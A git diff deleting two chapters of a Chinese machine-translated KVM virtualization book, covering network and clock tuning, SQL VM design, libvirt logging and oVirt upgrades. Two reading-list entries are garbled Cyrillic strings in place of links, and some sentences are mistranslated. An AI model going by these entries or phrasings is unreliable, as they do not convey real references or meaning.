次 I/O 操作和每秒 50 MB 吞吐量,请运行以下命令: - -```sh -# virsh blkdeviotune SQLForNuma vdb --total-iops-sec 200 --total-bytes-sec 52428800 -``` - -接下来,我们来看一下网络 I/O 调优。 - -# 网络 I/O 调整 - -我们在大多数 KVM 环境中看到的是,来自访客的所有网络流量都将采用单一网络路径。 不会有任何流量隔离,这会在大多数 KVM 设置中造成拥塞。 作为网络调优的第一步,我们建议尝试使用不同的网络或专用网络进行管理、备份或实时迁移。 但是,当您的流量有多个网络接口时,请尽量避免同一网络或网段有多个网络接口。 如果这确实在起作用,请应用此类设置中常见的一些网络调整;例如,使用`arp_filter`来控制 ARP 流量。 当虚拟机具有多个网络接口并且正在积极使用它们来回复 ARP 请求时,就会发生 ARP 流量,因此我们应该执行以下操作: - -```sh -echo 1 > /proc/sys/net/ipv4/conf/all/arp_filter -``` - -之后,您需要编辑`/etc/sysctl.conf`以使此设置持久。 - -有关 ARP 流量的更多信息,请参考[http://linux-ip.net/html/ether-arp.html#ether-arp-flux](http://linux-ip.net/html/ether-arp.html#ether-arp-flux)。 - -可以在驱动程序级别进行额外的调优;也就是说,到目前为止,我们知道 virtio 驱动程序提供了比模拟设备 API 更好的性能。 因此,显然应该考虑在访客系统中使用`virtio_net`驱动程序。 当我们使用`virtio_net`驱动程序时,它在`qemu`中有一个后端驱动程序,负责从访客网络启动的通信。 尽管性能更好,但这方面的一些更多增强引入了名为`vhost_net`的新驱动程序,该驱动程序为 KVM 提供内核内 virtio 设备。 尽管 vhost 是一个通用框架,可以由不同的驱动程序使用,但网络驱动程序`vhost_net`是最早的驱动程序之一。 下面的图表将使这一点更加清晰: - -![Figure 15.25 – The vhost_net architecture ](img/B14834_15_25.jpg) - -图 15.25-vhost_net 体系结构 - -正如您可能已经注意到的,使用新的通信路径确实减少了上下文切换的数量。 好消息是,访客系统中不需要额外的配置来支持 vhost,因为前端驱动程序没有变化。 - -`vhost_net`减少拷贝操作,降低延迟和 CPU 使用率,从而产生更好的性能。 首先,必须将名为`vhost_net`的内核模块(请参阅下一节中的屏幕截图)加载到系统中。 因为这是主机系统内的字符设备,所以它会在主机上创建名为`/dev/vhost-net`的设备文件。 - -## 如何打开它 - -当 QEMU 使用`-netdev tap,vhost=on`启动时,它将通过使用`ioctl()`调用实例化`vhost-net`接口。 此初始化过程将`qemu`与`vhost-net`实例绑定,以及功能协商等其他操作: - -![Figure 15.26 – Checking vhost kernel modules ](img/B14834_15_26.jpg) - -图 15.26-检查 vhost 内核模块 - -`vhost_net`模块可用的参数之一是`experimental_ zcopytx`。 它是做什么的? 此参数控制称为网桥零拷贝传输的东西。 让我们看看这意味着什么(如[http://www.google.com/patents/US20110126195](http://www.google.com/patents/US20110126195)所述): - -一种用于在虚拟化环境中提供零拷贝传输的系统包括管理器,其接收与与客户应用相关联的数据分组有关的客户操作系统(OS)请求,其中该数据分组驻留在客户 OS 的缓冲器或客户应用的缓冲器中,并且具有在联网堆栈处理期间创建的至少部分报头。 管理器还向网络设备驱动器发送经由网络设备在网络上传输数据分组的请求,其中该请求标识驻留在客户 OS 的缓冲器或客户应用的缓冲器中的数据分组,并且管理器抑制将数据分组复制到管理器缓冲器。 - -如果您的环境使用较大的数据包大小,则配置此参数可能会产生明显的效果。 当访客与外部网络通信时,通过配置此参数可以降低主机 CPU 开销。 在以下场景中,这不会影响性能: - -* 宾客沟通 -* 宾主通信 -* 小数据包工作负载 - -此外,还可以通过启用多队列`virtio-net`来提高性能。 有关更多信息,请查看[https://fedoraproject.org/wiki/Features/MQ_virtio_net](https://fedoraproject.org/wiki/Features/MQ_virtio_net)。 - -使用`virtio-net`时的瓶颈之一是它的单个 RX 和 TX 队列。 即使有更多 vCPU,网络吞吐量也会受到此限制的影响。 `virtio-net`是一种单队列类型的队列,因此开发了多队列`virtio-net`。 在引入此选项之前,虚拟 NIC 无法利用 Linux 内核中提供的多队列支持。 - -通过在前端和后端驱动程序中引入多队列支持,解除了这一瓶颈。 这还有助于访客使用更多 vCPU 进行扩展。 要使用两个队列启动访客,可以将`queues`参数指定给`tap`和`virtio-net`,如下所示: - -```sh -# qemu-kvm -netdev tap,queues=2,... -device virtio-net-pci,queues=2,... -``` - -等效的访客 XML 如下所示: - -```sh - -     -     -     - -``` - -这里,`M`可以是`1`到`8`,因为内核最多支持多队列分路设备的 8 个队列。 在客户内部为`qemu`配置之后,我们需要使用`ethtool`命令启用多队列支持。 通过`ethtool`(其中`K`的值是从`1`到`M`)启用多队列,如下所示: - -```sh -# ethtool -L eth0 combined 'K' -``` - -您可以查看以下链接,查看多队列`virtio-net`何时提供最大的性能优势:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_tuning_and_optimization_guide/sect-virtualization_tuning_optimization_guide-networking-techniques](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_tuning_and_optimization_guide/sect-virtualization_tuning_optimization_guide-networking-techniques)。 - -不要盲目使用上述 URL 中提到的选项-请测试对您的设置的影响,因为在这种情况下,即使网络吞吐量令人印象深刻,CPU 消耗也会更大。 - -## KVM 访客计时最佳实践 - -计时有不同的机制。 最著名的技术之一是**网络时间协议**(**NTP**)。 通过使用 NTP,我们可以非常精确地同步时钟,即使在使用具有抖动(可变延迟)的网络时也是如此。 在虚拟化环境中需要考虑的一件事是这样一条准则:访客时间应该与虚拟机管理器/主机同步,因为它会影响很多访客操作,如果它们不同步,可能会导致不可预测的结果。 - -不过,实现时间同步有不同的方法;这取决于您的设置。 我们已经看到人们使用 NTP,使用`hwclock –s`从硬件时钟设置系统时钟,等等。 这里需要考虑的第一件事是尝试使 KVM 主机时间同步和稳定。 您可以使用类似 NTP 的协议来实现这一点。 一旦就位,客人的时间必须保持同步。 尽管有不同的机制可以做到这一点,但最好的选择是使用`kvm-clock`。 - -### KVM-时钟 - -`kvm-clock`也称为虚拟化感知(半虚拟化)时钟设备。 当使用`kvm-clock`时,访客向虚拟机管理器询问当前时间,从而保证稳定和准确的计时。 该功能是通过访客注册页面并与管理器共享地址来实现的。 这是访客和虚拟机管理器之间的共享页面。 系统管理器会不断更新此页面,除非系统要求其停止。 客人只要想要时间信息,就可以随时阅读此页面。 但是,请注意,虚拟机管理器应支持`kvm-clock`以供访客使用。 有关更多详细信息,请查看[https://lkml.org/lkml/2010/4/15/355](https://lkml.org/lkml/2010/4/15/355)。 - -默认情况下,大多数较新的 Linux 发行版使用 CPU 寄存器**Time Stamp Counter**(**TSC**)作为时钟源。 您可以通过以下方法验证访客内部是否配置了 TSC 或`kvm_clock`: - -```sh -[root@kvmguest ]$  cat /sys/devices/system/clocksource/clocksource0/current_clocksource -tsc -``` - -您还可以在 Linux 上使用`ntpd`或`chrony`作为时钟源,这需要最少的配置。 在您的 Linux VM 中,编辑`/etc/ntpd.conf`或`/etc/chronyd.conf`并修改*服务器*配置行,以按 IP 地址指向您的 NTP 服务器。 然后,只需启用并启动您正在使用的服务(我们在这里使用`chrony`作为示例): - -```sh -systemctl enable chronyd -systemctl start chronyd -``` - -还有另一个更新的协议正在大力推动时间同步,它被称为**精确时间协议**(**PTP**)。 如今,这正在成为在主机级使用的事实上的标准服务。 目前市场上的许多网卡都直接在硬件(如网络接口卡)中支持该协议。 因为它基本上是基于硬件的,所以它应该比`ntpd`或`chronyd`更精确。 它使用网络接口、外部来源和计算机系统时钟上的时间戳进行同步。 - -安装所有必要的必备组件只需一条`yum`命令即可启用和启动服务: - -```sh -yum -y install linuxptp -systemctl enable ptp4l -systemctl start ptp4l -``` - -默认情况下,`ptp4l`服务将使用`/etc/sysconfig/ptp4l`配置文件,该文件通常绑定到第一个网络接口。 如果您想使用其他网络接口,最简单的做法是编辑配置文件,更改接口名称,然后通过`systemctl`重新启动服务。 - -现在,从虚拟机的角度来看,我们可以通过执行一些配置来帮助它们实现时间同步。 我们可以将`ptp_kvm`模块添加到全局 KVM 主机配置中,这将使我们的 PTP 作为服务提供给`chronyd`作为时钟源。 这样,我们就不需要做很多额外的配置。 因此,只需将`ptp_kvm`作为字符串添加到默认 KVM 配置中,如下所示: - -```sh -echo ptp_kvm > /etc/modules-load.d/kvm-chrony.conf -modprobe ptp_kvm -``` - -通过这样做,将在`/dev`目录中创建一个`ptp`设备,然后我们可以将其用作`chrony`时间源。 将以下行添加到`/etc/chrony.conf`并重新启动`chronyd`: - -```sh -refclock PHC /dev/ptp0 poll 3 dpoll -2 offset 0 -systemctl restart chronyd -``` - -通过使用 API 调用,所有个 Linux 虚拟机都能够从运行它们的物理主机获取时间。 - -现在,我们已经介绍了性能调优和优化方面的大量 VM 配置选项,现在是时候摆脱所有这些小步骤,专注于更大的图景了。 到目前为止,我们在 VM 设计方面介绍的所有内容(与 CPU、内存、NUMA、virtio、块、网络和时间配置相关)都与我们使用它的目的一样重要。 回到我们最初的场景-SQL VM-让我们看看如何根据要在其上运行的软件来正确配置我们的 VM。 - -## 基于软件的设计 - -还记得我们最初的场景吗?其中涉及一个基于 Windows Server 2019 的虚拟机,该虚拟机应该是 Microsoft SQLServer 集群中的一个节点。 我们在调优方面介绍了很多设置,但是还有更多的事情要做--更多。 我们需要问几个问题。 我们越早问这些问题越好,因为它们将对我们的设计产生关键影响。 - -我们可能会问以下几个问题: - -* 对不起,亲爱的客户,您说*群集*是什么意思,因为有不同的 SQL Server 群集方法? -* 您拥有或计划购买哪些 SQL 许可证? -* 您是否需要主动-主动、主动-被动、备份解决方案或其他什么? -* 这是单站点群集还是多站点群集? -* 您到底需要哪些 SQL 功能? -* 你有哪些执照,愿意花多少钱? -* 您的应用是否能够使用 SQL 集群(例如,在多站点场景中)? -* 你们有什么样的存储系统? -* 您的存储系统可以提供多少 IOPS? -* 您的存储延迟如何? -* 您是否有不同层的存储子系统? -* 就 IOPS 和延迟而言,这些层的服务级别是什么? -* 如果您有多个存储层,我们是否可以根据最佳做法创建 SQL 虚拟机-例如,将数据文件和日志文件放在单独的虚拟磁盘上? -* 您是否有足够的磁盘容量来满足您的要求? - -这些只是许可、群集和存储相关的问题,它们不会消失。 他们需要毫不犹豫地被问到,我们需要在部署之前得到真正的答案。 我们刚才提到了 14 个问题,但实际上还有很多问题。 - -此外,我们还需要考虑 VM 设计的其他方面。 谨慎的做法是问一些问题,如以下几个问题: - -* 您可以为 SQL VM 提供多少内存? -* 您有哪些服务器,它们使用哪些处理器,每个插槽有多少内存? -* 您是否在使用任何最新一代的技术,例如永久内存? -* 您是否有关于设计此 SQL 基础设施所针对的查询规模和/或数量的任何信息? -* 在这个项目中,钱是一个重要的决定性因素吗(因为它将影响许多设计决策,因为 SQL 是按内核授权的)? 此外,还有标准定价与企业定价的问题。 - -这一堆问题实际上指向虚拟机设计的一个非常、非常重要的部分,它与内存、内存位置、CPU 和内存之间的关系有关,也是数据库设计中最基本的问题之一-延迟。 这在很大程度上与正确的 VM 存储设计有关-正确的存储控制器、存储系统、缓存设置等,以及 VM 计算设计-这一切都与 NUMA 有关。 我们已经在本章中解释了所有这些设置。 因此,要正确配置我们的 SQL VM,下面列出了我们应该遵循的高级步骤: - -* 使用正确的 NUMA 设置和本地内存配置虚拟机。 出于许可原因,从四个 vCPU 开始,然后确定是否需要更多 vCPU(例如,如果您的虚拟机 CPU 受限,您将从性能图表和基于 SQL 的性能监控工具中看到)。 -* 如果要保留 CPU 容量,请使用 CPU 固定,以便物理服务器的 CPU 上的特定 CPU 核心始终用于 SQL VM,并且仅限于此。 将其他虚拟机隔离到剩余的*个*个核心。 -* 为 SQL VM 预留内存,这样它就不会交换内存,因为只使用实际 RAM 内存可以保证性能流畅,不会受到嘈杂邻居的影响。 -* 如有必要,请按虚拟机配置 KSM,并避免在 SQL 虚拟机上使用它,因为它可能会引入延迟。 在设计阶段,请确保购买尽可能多的 RAM 内存,这样内存就不会成为问题,因为如果服务器没有足够的内存,这将是一个非常昂贵的性能问题。 不要*过量使用*内存。 -* 为虚拟机配置多个虚拟硬盘,并将这些硬盘放入能够提供延迟、开销和缓存方面所需服务级别的存储中。 请记住,操作系统磁盘不一定需要写缓存,但数据库和日志磁盘将从中受益。 -* 从主机到存储设备使用单独的物理连接,并调整存储以获得尽可能高的性能。 不要超额订阅-无论是在链路级别(太多虚拟机通过相同的基础架构连接到*个相同的*存储设备)还是在数据存储区级别(不要将一个数据存储区放在一个存储设备上并将所有虚拟机存储在上面,因为这会对性能产生负面影响-隔离工作负载、通过多个链路创建多个目标以及使用掩蔽和分区)。 -* 配置多路径、负载平衡和故障转移-可以从您的存储中获得尽可能高的性能,当然也要有冗余性。 -* 安装正确的 virtio 驱动程序,必要时使用 vhost 驱动程序或 SR-IOV,并将每个级别的开销降至最低。 -* 调整虚拟机访客操作系统-关闭不必要的服务,将电源配置文件切换到`High Performance`(由于某些原因,大多数 Microsoft 操作系统都有将电源配置文件设置为`Balanced`模式的默认设置)。 调整 BIOS 设置,并从上到下检查固件和操作系统更新-所有内容。 在更新和更改配置时记下笔记、测量、基准测试,并使用以前的基准测试作为基准,以便您知道要走哪条路。 -* 使用 iSCSI 时,请像大多数使用情形一样配置巨型帧,这将对存储性能产生积极影响,并确保您查看存储设备供应商的文档,了解有关这方面的任何最佳做法。 - -本章的要点如下--不要仅仅因为客户要求你安装应用就盲目地安装它。 以后它会困扰着你,解决任何类型的问题和抱怨都会困难得多。 慢慢来,做好这件事。 阅读文档为整个过程做好准备,因为文档随处可见。 - -# 摘要 - -在本章中,我们做了一些深入研究,深入到了 KVM 性能调优的领域。 我们讨论了许多不同的技术,从简单的技术(如 CPU 固定)到复杂得多的技术(如 NUMA 和正确的 NUMA 配置)。 不要因此而犹豫不决,因为学习设计是一个过程,正确的设计是一项可以通过学习和经验不断改进的技艺。 这样想吧--建筑师在设计世界上最高的摩天大楼时,不是每一座新的最高建筑都把球门柱越移越远吗? - -在下一章(本书的最后一章)中,我们将讨论对您的环境进行故障排除。 这至少部分与本章有关,因为我们还将对一些与性能相关的问题进行故障排除。 在切换到故障排除章节之前,反复阅读本章-这将对您的整个学习过程非常非常有益。 - -# 问题 - -1. 什么是 CPU 钉住? -2. KSM 是做什么的? -3. 我们如何提高数据块设备的性能? -4. 我们如何调整网络设备的性能? -5. 我们如何在虚拟化环境中同步时钟? -6. 我们如何配置 NUMA? -7. 我们如何配置 NUMA 和 KSM 以协同工作? - -# 进一步阅读 - -有关详细信息,请参阅以下链接: - -* RedHat Enterprise Linux 7-在 RHEL 物理机上安装、配置和管理 VM:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_deployment_and_administration_guide/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_deployment_and_administration_guide/index) -* VCPU 锁定:[http://libvirt.org/formatdomain.html#elementsCPUTuning](http://libvirt.org/formatdomain.html#elementsCPUTuning) -* Ksm 内核文档:[https://www.kernel.org/doc/Documentation/vm/ksm.txt](https://www.kernel.org/doc/Documentation/vm/ksm.txt) -* 帖子主题:Re:Колибриобработельныйпрограммированияпрограммированияпрограммется -* 自动 NUMA 平衡:[https://www.redhat.com/files/summit/2014/summit2014_riel_chegu_w_0340_automatic_numa_balancing.pdf](https://www.redhat.com/files/summit/2014/summit2014_riel_chegu_w_0340_automatic_numa_balancing.pdf) -* Virtio1.1 规范:[http://docs.oasis-open.org/virtio/virtio/v1.1/virtio-v1.1.html](http://docs.oasis-open.org/virtio/virtio/v1.1/virtio-v1.1.html) -* ARP 流量:[http://linux-ip.net/html/ether-arp.html#ether-arp-Flux](http://Linux-ip.net/html/ether-arp.html#ether-arp-flux) -* 发帖主题:Re:Колибриобработельныйпрограммированияпрограмма。 -* RHEL 7 上的 libvirt NUMA 优化:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_tuning_and_optimization_guide/sect-virtualization_tuning_optimization_guide-numa-numa_and_libvirt](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/virtualization_tuning_and_optimization_guide/sect-virtualization_tuning_optimization_guide-numa-numa_and_libvirt)** \ No newline at end of file diff --git a/docs/master-kvm-virtual/16.md b/docs/master-kvm-virtual/16.md deleted file mode 100644 index 7aa70f24..00000000 --- a/docs/master-kvm-virtual/16.md +++ /dev/null @@ -1,478 +0,0 @@ -# 十六、KVM 平台故障排除指南 - -如果你从[*第 1 章*](01.html#_idTextAnchor016),*了解 Linux 虚拟化*一直读到这本书,那么你就会知道我们在本书中一起经历了*很多*--成百上千页的概念和实践方面,包括配置示例、文件和命令--无所不包。 700 页左右。 到目前为止,我们几乎完全忽略了故障排除作为这一过程的一部分。 我们这样做的前提并不是所有的东西都能在 Linux 上运行*,而且我们没有任何问题,而且在从头到尾看这本书的过程中,我们达到了*涅槃*的状态。* - -这是一次充满各种问题的旅程。 有些是我们自己的错误,不值一提。 我们犯的这些错误(您肯定也会犯更多错误)主要是因为我们(在命令或配置文件中)输入了错误的内容。 基本上,人类在 IT 中扮演着重要角色。 但其中一些问题相当令人沮丧。 例如,实施 SR-IOV 需要大量时间,因为我们必须在硬件、软件和配置级别找到不同类型的问题才能使其正常工作。 正如我们稍后将解释的那样,oVirt 相当古怪。 委婉地说,桉树很有趣。 虽然我们以前经常使用它*,但 cloudbase-init 确实很复杂,需要我们花费大量时间和精力,事实证明这并不是因为我们做了什么-它只是 cloudbase-init 版本。 但总体而言,这只是进一步证明了我们上一章中的一个一般性观点-阅读书籍、文章和博客文章中的各种 IT 主题-是从一开始就正确配置许多东西的一个非常好的方法。 但即便如此,您仍需要进行一些故障排除,才能使一切都完美无瑕。* - - *一旦你安装了一项服务并开始使用它,一切都会变得很棒和令人惊叹,但这种情况在第一次就很少发生。 我们在本书中使用的所有内容实际上都是为了使我们能够测试不同的配置并获取必要的屏幕截图,但同时,我们希望确保它们能够以更结构化、更程序化的方式进行实际安装和配置。 - -那么,让我们从一些与服务、包和日志记录相关的简单事情开始。 然后,我们将继续介绍故障排除的更高级概念和工具,并通过我们在此过程中介绍的各种示例进行描述。 - -在本章中,我们将介绍以下主题: - -* 验证 KVM 服务状态 -* KVM 服务日志记录 -* 启用调试模式日志记录 -* 高级故障排除工具 -* KVM 问题故障排除的最佳实践 - -# 验证 KVM 服务状态 - -我们从所有示例中最简单的示例开始-验证 KVM 服务状态及其对主机配置的一些正常影响。 - -在[*第 3 章*](03.html#_idTextAnchor049),*安装 KVM Hypervisor、libvirt 和 ovirt*中,我们通过安装`virt module`并使用`dnf`命令部署各种包,对整个 KVM 堆栈进行了基本安装。 有几个原因说明这最终可能不是一个好主意: - -* A lot of servers, desktops, workstations, and laptops come pre-configured with virtualization turned off in BIOS. If you're using an Intel-based CPU, make sure that you find all the VT-based options and enable them (VT, VT-d, VT I/O). If you're using an AMD-based CPU, make sure that you turn on AMD-V. There's a simple test that you can do to check if virtualization is enabled. If you boot any Linux live distribution, go to the shell and type in the following command: - - ```sh - cat /proc/cpuinfo | egrep "vmx|svm" - ``` - - 如果您已经安装了 Linux 主机和我们在[*第 3 章*](03.html#_idTextAnchor049),*安装 KVM 虚拟机管理器、libvirt 和 ovirt*中提到的相应软件包,则还可以使用以下命令: - - ```sh - virt-host-validate - ``` - - 如果您没有从该命令获得任何输出,那么您的系统要么不支持虚拟化(可能性较小),要么没有打开虚拟化功能。 请确保检查您的 BIOS 设置。 - -* 您的网络配置和/或程序包存储库配置可能未正确设置。 正如我们将在本章反复说明的那样,请从最简单的事情开始--不要开始试图寻找某些东西不起作用的超级复杂原因的旅程。 保持简单。 对于网络测试,请尝试在一些知名服务器(如 google.com)上使用`ping`命令。 对于存储库问题,请确保检查您的`/etc/yum.repos.d`目录。 尝试使用`yum clean all`和`yum update`命令。 除了 CentOS/Red Hat 之外,存储库问题更有可能发生在其他一些发行版上,但它们仍然可能发生。 -* After the deployment process has finished successfully, make sure that you start and enable KVM services by using the following commands: - - ```sh - systemctl enable libvirtd libvirt-guests - systemctl start libvirtd libvirt-guests - ``` - - 通常,我们忘记启动并启用`libvirt-guests`服务,然后在重新启动主机后感到非常惊讶。 未启用`libvirt-guests`的结果很简单。 启动时,它会在您启动关闭时挂起您的虚拟机,并在下一次引导时恢复它们。 换句话说,如果您不启用它们,您的虚拟机将不会在下次重启后恢复。 另外,请查看其配置文件`/etc/sysconfig/libvirt-guests`。 它是一个简单的文本配置文件,使您能够配置至少三个非常重要的设置:`ON_SHUTDOWN`、`ON_BOOT`和`START_DELAY`。 让我们来解释一下这些内容: - - A)通过使用`ON_SHUTDOWN`设置,我们可以选择关闭您的主机时虚拟机会发生什么情况,因为它接受`shutdown`和`suspend`等值。 - - B)`ON_BOOT`选项正好相反-它告诉`libvirtd`是否需要在主机引导时启动所有虚拟机,无论它们的自动启动设置是什么。 它接受像`start`和`ignore`这样的值。 - - C)第三个选项`START_DELAY`允许您在主机启动时设置多个虚拟机开机操作之间的超时值(以秒为单位)。 它接受数值,其中`0`是并行启动的值,*所有其他(正)数字*是它在启动下一个虚拟机之前等待的秒数。 - -考虑到这一点,至少有三件事需要记住: - -* Make sure that these two services are actually running by typing in the following commands: - - ```sh - systemctl status libvirtd - systemctl status libvirt-guests - ``` - - 至少需要启动`libvirtd`,我们才能创建或运行 KVM 虚拟机。 - -* 如果您正在配置 SR-IOV 等更高级的设置,请确保阅读服务器手册以选择与 SR-IOV 兼容的正确插槽。 最重要的是,确保您有一个兼容的 PCI Express 卡和正确配置的 BIOS。 否则,你就不能让它工作了。 -* 启动 libvirt 服务时,它通常附带某种预定义的防火墙配置。 请记住这一点,以防您决定禁用 libvirt 服务,因为防火墙规则几乎始终存在。 这可能需要一些额外的配置。 - -故障排除之旅的下一步将检查一些日志文件。 有很多可供选择的-kvm 有自己的,oVirt 有自己的,Eucalyptus、elk 等等。 因此,请确保您非常了解这些服务,以便您可以针对您试图排除故障的情况检查正确的日志文件。 让我们从 KVM 服务日志记录开始。 - -# KVM 服务日志记录 - -在讨论 KVM 服务日志记录时,我们需要注意几个位置: - -* 假设您在 GUI 中以 root 用户身份登录,并启动了 virt-manager。 这意味着您在`/root/.cache/virt-manager`目录中有一个`virt-manager.log`文件。 它真的很冗长,所以通读时要有耐心。 -* `/etc/libvirt/libvirtd.conf`文件是 libvirtd 的配置文件,包含许多有趣的选项,但一些最重要的选项实际上几乎位于文件的末尾,与审计相关。 您可以选择注释掉的选项(`audit_level`和`audit_logging`)来满足您的需要。 -* `/var/log/libvirt/qemu`目录包含曾经在 KVM 主机上创建的所有虚拟机的日志和轮换日志。 - -此外,请确保签出名为`auvirt`的命令。 它非常方便,因为它告诉您有关 KVM 主机上的虚拟机的基本信息-包括仍然在那里和/或成功运行的虚拟机,以及我们试图安装但失败的虚拟机。 它从审计日志中提取数据,您还可以使用它来显示我们需要的特定虚拟机的信息。 它还有一个非常调试级别的选项,称为`--all-events`,如果您想要检查任何曾经是(或现在仍然是)KVM 主机上的对象的虚拟机的每一个细节。 - -# 启用调试模式日志记录 - -登录 KVM 还有另一种方法:配置调试日志。 在我们刚才提到的 libvirtd 配置文件中,您可以使用其他设置来配置此选项。 因此,如果我们向下滚动到`Logging controls`部分,以下是我们可以使用的设置: - -* `log_level` -* `log_filters` -* `log_outputs` - -让我们一步一步地解释一下。 第一个选项-`log_level`-描述日志详细程度。 自 libvirt 版本 4.4.0 以来,该选项已弃用。 在该文件的`Logging controls`部分中,有硬编码到该文件中的附加文档,以使事情变得更容易。 对于此特定选项,文档如下所述: - -![Figure 16.1 – Logging controls in libvirtd.conf ](img/B14834_16_01.jpg) - -图 16.1-在 libvirtd.conf 中记录控件 - -人们通常做的是查看输出的第一部分(日志级别描述),转到最后一行(`Iog_level`),将其设置为 1,保存,重新启动`libvirtd`服务,然后完成操作。 问题在于中间的文本部分。 它特别说明了`journald`进行了速率限制,这样它就不会受到仅来自一个服务的日志的冲击,并指示我们改用`log_filters`设置。 - -让我们这样做,然后-让我们使用`log_filters`。 在配置文件中稍低一点的位置,有一个部分如下所示: - -![Figure 16.2 – Logging filters options in libvirtd.conf ](img/B14834_16_02.jpg) - -图 16.2-libvirtd.conf 中的日志记录过滤器选项 - -这为我们提供了各种选项,我们可以使用这些选项为每个对象类型设置不同的日志记录选项,这非常棒。 它为我们提供了在所需级别增加我们感兴趣的内容的冗余度的选项,同时将其他对象类型的冗余度保持在最低水平。 我们需要做的是删除最后一行的注释部分(`#log_filters="1:qemu 1:libvirt 4:object 4:json 4:event 1:util"`应该变成`log_filters="1:qemu 1:libvirt 4:object 4:json 4:event 1:util"`),并配置它的设置,使它们符合我们的要求。 - -第三个选项与我们希望调试日志输出文件所在的位置有关: - -![Figure 16.3 – Logging outputs options in libvirtd.conf ](img/B14834_16_03.jpg) - -图 16.3-libvirtd.conf 中的记录输出选项 - -重要注 - -更改其中任何设置后,我们需要确保通过键入`systemctl restart libvirtd`命令重新启动`libvirtd`服务。 - -如果我们只对客户端日志感兴趣,则需要将名为`LIBVIRT_LOG_OUTPUTS`的环境变量设置为如下所示(假设我们希望进行调试级别的日志记录): - -```sh -export LIBVIRT_LOG_OUTPUTS="1:file:/var/log/libvirt_guests.log" -``` - -所有这些选项在下一次`libvirtd`服务重新启动之前都有效,这对于永久设置非常方便。 但是,当我们需要进行一些动态调试时,我们可以使用一个运行时选项,而无需求助于永久配置。 这就是为什么我们有一个名为`virt-admin`的命令。 我们可以用它来设置我们自己的设置。 例如,让我们看看如何使用它来获取当前设置,然后如何使用它来设置临时设置: - -![Figure 16.4 – Runtime libvirtd debugging options ](img/B14834_16_04.jpg) - -图 16.4-运行时 libvirtd 调试选项 - -我们还可以通过发出以下命令来删除这些设置: - -```sh -virt-admin daemon-log-filters "" -``` - -这是我们在完成调试后明确推荐的内容。 我们不想无缘无故地使用我们的日志空间。 - -就直接调试虚拟机而言-除了这些日志记录选项-我们还可以使用串行控制台仿真来挂接到虚拟机控制台。 如果我们不能以任何其他方式访问虚拟机,特别是如果我们的环境中没有使用 GUI(在生产环境中通常就是这种情况),我们就会这样做。 访问控制台的方式如下: - -```sh -virsh console kvm_domain_name -``` - -在前面的命令中,`kvm_domain_name`是我们希望通过串行控制台连接到的虚拟机的名称。 - -# 高级故障排除工具 - -根据主题(网络、硬件和软件问题或特定的应用问题)的不同,我们可以使用不同的工具来解决我们环境中的问题。 让我们简要回顾一下其中的一些方法,并在排除故障时牢记本书的各个章节: - -* OVirt 问题 -* 有关快照和模板的问题 -* 虚拟机自定义问题 -* Accessibles -* OpenStack 问题 -* 桉树和 AWS 组合问题 -* 麋鹿堆栈问题 - -有趣的是,在处理 KVM 虚拟化时,我们通常不会遇到网络问题。 从 KVM 网桥一直到打开 vSwitch,它都有很好的文档记录,这只是一个遵循文档的问题。 唯一的例外是与防火墙规则相关的规则,这可能很麻烦,特别是在处理 oVirt 和远程数据库连接时,同时保持最小的安全占用空间。 如果您对此感兴趣,请确保查看以下链接:[https://www.ovirt.org/documentation/installing_ovirt_as_a_standalone_manager_with_remote_databases/#dns-requirements_SM_remoteDB_deploy](https://www.ovirt.org/documentation/installing_ovirt_as_a_standalone_manager_with_remote_databases/#dns-requirements_SM_remoteDB_deploy)。 - -这篇文章后面有一个很大的端口表,描述了哪些端口用于什么协议以及它们使用哪些协议。 此外,还有一个需要在 oVirt 主机级别配置的端口表。 如果您要将 oVirt 投入生产,我们建议您使用本文。 - -## oVirt - -在处理 oVirt 时,我们经常会遇到两个常见问题: - -* *安装问题*:在引擎设置中键入安装选项并正确配置时,我们需要放慢速度。 -* *更新问题*:这些问题可能与未正确更新 oVirt 或底层系统有关。 - -安装问题非常容易排除,因为它们通常发生在我们刚刚开始部署 oVirt 时。 这意味着我们可以享受停止安装过程并从头开始的奢侈。 其他的一切都会变得过于混乱和复杂。 - -然而,更新问题值得特别提及。 让我们来处理 oVirt 更新问题的两个子集,并更详细地解释它们。 - -更新 oVirt 引擎本身需要做我们大多数人都不喜欢做的事情-阅读成堆的文档。 我们需要检查的第一件事是我们运行的是哪个版本的 oVirt。 例如,如果我们运行的是 4.3.0 版本,并且我们想要升级到 4.3.7,那么这是一个非常简单的次要更新路径。 我们需要首先备份 oVirt 数据库: - -```sh -engine-backup --mode=backup --file=backupfile1 --log=backup.log -``` - -我们这样做只是为了防患于未然。 然后,稍后,如果确实有什么东西损坏,我们可以使用以下命令: - -```sh -engine-backup --mode=restore --log=backup.log --file=backupfile1 --provision-db --provision-dwh-db --no-restore-permissions -``` - -如果您没有部署 DWH 服务及其数据库,则可以忽略`--provision-dwh-db`选项。 然后,我们可以执行标准程序: - -```sh -engine-upgrade-check -yum update ovirt\*setup\* -engine-setup -``` - -这应该需要大约 10 分钟,而且不会造成任何伤害。 但是,为了安全起见,并在这样做之前备份数据库仍然是最好的。 - -但是,如果我们要从某个旧版本的 oVirt 迁移到最新版本-比如说,从版本 4.0.0、4.1.0 或 4.2.0 迁移到版本 4.3.7-那就是完全不同的过程了。 我们需要访问 ovirt.org 网站并通读文档。 例如,假设我们正在从 4.0 更新到 4.3。 Ovirt.org 上有描述所有这些过程的文档。 您可以从这里开始:[https://www.ovirt.org/documentation/upgrade_guide/](https://www.ovirt.org/documentation/upgrade_guide/)。 - -这将给我们提供 20 个左右的子步骤,我们需要完成这些步骤才能成功升级。 请小心和耐心,因为这些步骤是按照非常清晰的顺序编写的,需要以这种方式执行。 - -现在我们已经介绍了升级方面的 oVirt 故障排除,让我们深入研究*操作系统和软件包升级*,因为这是一个完全不同的讨论,需要考虑更多。 - -请记住,oVirt 有其自己的先决条件,从 CPU、内存和存储要求到防火墙和存储库要求,我们不能盲目地使用如下所示的系统范围命令: - -```sh -yum -y update -``` - -我们不能指望 oVirt 对此感到满意。 它就是不会,这种情况在我们身上已经发生过很多次了,无论是在生产环境中还是在写这本书的时候。 我们需要检查要部署哪些包,并检查它们是否与 oVirt 